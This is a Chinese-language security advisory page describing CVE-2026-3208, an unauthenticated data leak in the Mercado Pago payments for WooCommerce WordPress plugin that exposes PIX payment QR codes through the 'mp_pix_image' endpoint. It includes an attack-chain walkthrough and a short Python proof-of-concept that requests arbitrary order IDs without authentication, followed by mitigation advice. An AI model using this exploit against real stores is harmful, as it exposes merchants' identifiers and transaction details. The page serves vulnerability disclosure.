IPBUF安全漏洞报告
English
CVE-2026-3208 CVSS 5.3 中危

CVE-2026-3208: Mercado Pago插件信息泄露漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-3208
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mercado Pago payments for WooCommerce

相关标签

信息泄露权限绕过WordPressWooCommerceCVE-2026-3208未授权访问

漏洞概述

WordPress插件Mercado Pago payments for WooCommerce在8.7.11及之前版本中存在安全漏洞。由于'mp_pix_image' API端点缺少能力检查,未经身份验证的攻击者可以绕过权限验证,直接获取任意订单的PIX支付二维码。这些二维码包含商家敏感信息,如个人标识符、交易金额及商家详情,构成了严重的信息泄露风险。

技术细节

该漏洞源于WordPress插件'Mercado Pago payments for WooCommerce'中的WooCommerce API端点'mp_pix_image'未正确实施能力检查。在所有8.7.11及之前的版本中,该端点负责处理生成PIX支付二维码的请求,但由于代码逻辑缺陷,未对请求发起者进行身份验证或权限校验。这意味着任何访问互联网的攻击者均可构造特制的HTTP GET请求,指定任意订单ID作为参数,直接调用该API。服务器在接收到请求后,会生成包含敏感支付信息的二维码图片并返回给攻击者。攻击者可利用二维码解析工具提取其中的关键数据,包括商家的PIX密钥(可能是CPF或CNPJ)、具体交易金额、商家全称、所在城市以及MercadoPago的交易参考ID。这种未授权访问可能导致严重的商业隐私泄露和金融欺诈风险。

攻击链分析

STEP 1
侦察
攻击者识别出目标WordPress网站安装了'Mercado Pago payments for WooCommerce'插件,且版本在8.7.11或以下。
STEP 2
漏洞利用
攻击者构造针对'mp_pix_image' API端点的HTTP GET请求,在参数中指定一个订单ID(如order_id=100),且不携带任何认证信息。
STEP 3
数据获取
服务器因缺少权限校验,直接返回该订单对应的PIX支付二维码图像数据。
STEP 4
信息提取
攻击者保存接收到的二维码图像,使用解码工具解析出其中的商家PIX密钥、交易金额、姓名等敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Sample POC to demonstrate unauthorized access to PIX QR code # Usage: python poc.py <target_url> <order_id> def exploit(target_url, order_id): # The vulnerable endpoint is usually registered under the WooCommerce API namespace # Based on the plugin source (PixGateway.php), the route might be structured like this. # Adjust the endpoint path if the specific route prefix differs. endpoint = f"{target_url}/wp-json/wc/v3/mp_pix_image" # Parameters required to fetch the QR code for a specific order params = { 'order_id': order_id } try: # Send GET request without authentication headers response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! Retrieved data for Order ID: {order_id}") print("[+] Content-Type:", response.headers.get('Content-Type')) # Assuming the response is the image data (binary) # In a real scenario, save this to a file and scan with a QR reader print(f"[+] Data length: {len(response.content)} bytes") print("[+] Response content preview (first 100 bytes):", response.content[:100]) elif response.status_code == 401 or response.status_code == 403: print(f"[-] Failed: Access denied. The target might be patched.") else: print(f"[-] Failed: HTTP {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage target = "http://example.com" oid = "123" exploit(target, oid)

影响范围

Mercado Pago payments for WooCommerce <= 8.7.11

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件或通过Web应用防火墙(WAF)限制对'/wp-json/wc/v3/mp_pix_image'路径的外部访问,仅允许可信IP地址调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表